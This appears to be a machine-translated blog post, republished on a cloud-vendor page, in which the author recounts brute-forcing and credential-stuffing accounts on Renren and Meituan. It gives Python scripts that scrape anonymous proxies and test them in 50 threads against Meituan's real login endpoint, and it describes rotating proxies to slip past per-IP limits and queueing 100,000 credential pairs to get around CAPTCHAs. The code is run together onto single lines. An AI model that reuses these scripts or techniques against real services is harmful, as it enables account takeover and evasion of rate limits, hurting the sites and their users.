Sample code for batch obtaining and verifying HTTP proxy through python

Source: Internet
Author: User
This article describes how to obtain and verify HTTP proxy Python scripts in batches. For more information about how to obtain and verify HTTP proxy Python scripts in batches, see the following article, for more information, see

HTTP brute force cracking, credential stuffing, and some common skills, such:

1. when scanning Renren's network, I encountered a single account error twice and required to enter the verification code. the other party did not implement the IP policy.

I used to maintain the 0.1 million (username, password) queue to bypass the verification code. When a user name or password combination requires a verification code, the cracking sequence will be suspended and placed at the end of the queue for the next test to continue cracking the passwords of other accounts.

This ensures that 2/3 of the time is being cracked and scanned.

2. when I cracked a system account of Meituan, I encountered certain access restrictions for a single IP address, and the request frequency should not be too fast. So I hung up 72 HTTP proxies to solve this problem. It seems that requests from each IP address are normal, but in fact, the efficiency is quite impressive from the perspective of the whole program.

In this article, I sent my own HTTP script snippets, but there are only a few lines. The anonymous proxy is crawled from here: http://www.xici.net.co/nn/

First, obtain the proxy list:

from bs4 import BeautifulSoupimport urllib2of = open('proxy.txt' , 'w')for page in range(1, 160):  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()  soup = BeautifulSoup(html_doc)  trs = soup.find('table', id='ip_list').find_all('tr')  for tr in trs[1:]:    tds = tr.find_all('td')    ip = tds[1].text.strip()    port = tds[2].text.strip()    protocol = tds[5].text.strip()    if protocol == 'HTTP' or protocol == 'HTTPS':      of.write('%s=%s:%s\n' % (protocol, ip, port) )      print '%s=%s:%s' % (protocol, ip, port)of.close()

Then verify whether the proxy is available because I used to crack the account of the Meituan network system, so I used the Meituan page tag:

#encoding=gbkimport httplibimport timeimport urllibimport threadinginFile = open('proxy.txt', 'r')outFile = open('available.txt', 'w')lock = threading.Lock()def test():  while True:    lock.acquire()    line = inFile.readline().strip()    lock.release()    if len(line) == 0: break    protocol, proxy = line.split('=')    headers = {'Content-Type': 'application/x-www-form-urlencoded',      'Cookie': ''}    try:      conn = httplib.HTTPConnection(proxy, timeout=3.0)      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )      res = conn.getresponse()      ret_headers = str( res.getheaders() )       html_doc = res.read().decode('utf-8')      print html_doc.encode('gbk')      if ret_headers.find(u'/m/account/login/') > 0:        lock.acquire()        print 'add proxy', proxy        outFile.write(proxy + '\n')        lock.release()      else:        print '.',    except Exception, e:      print eall_thread = []for i in range(50):  t = threading.Thread(target=test)  all_thread.append(t)  t.start()  for t in all_thread:  t.join()inFile.close()outFile.close()

The above is the details of the sample code for batch obtaining and verifying HTTP proxy through python. For more information, see other related articles in the first PHP community!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.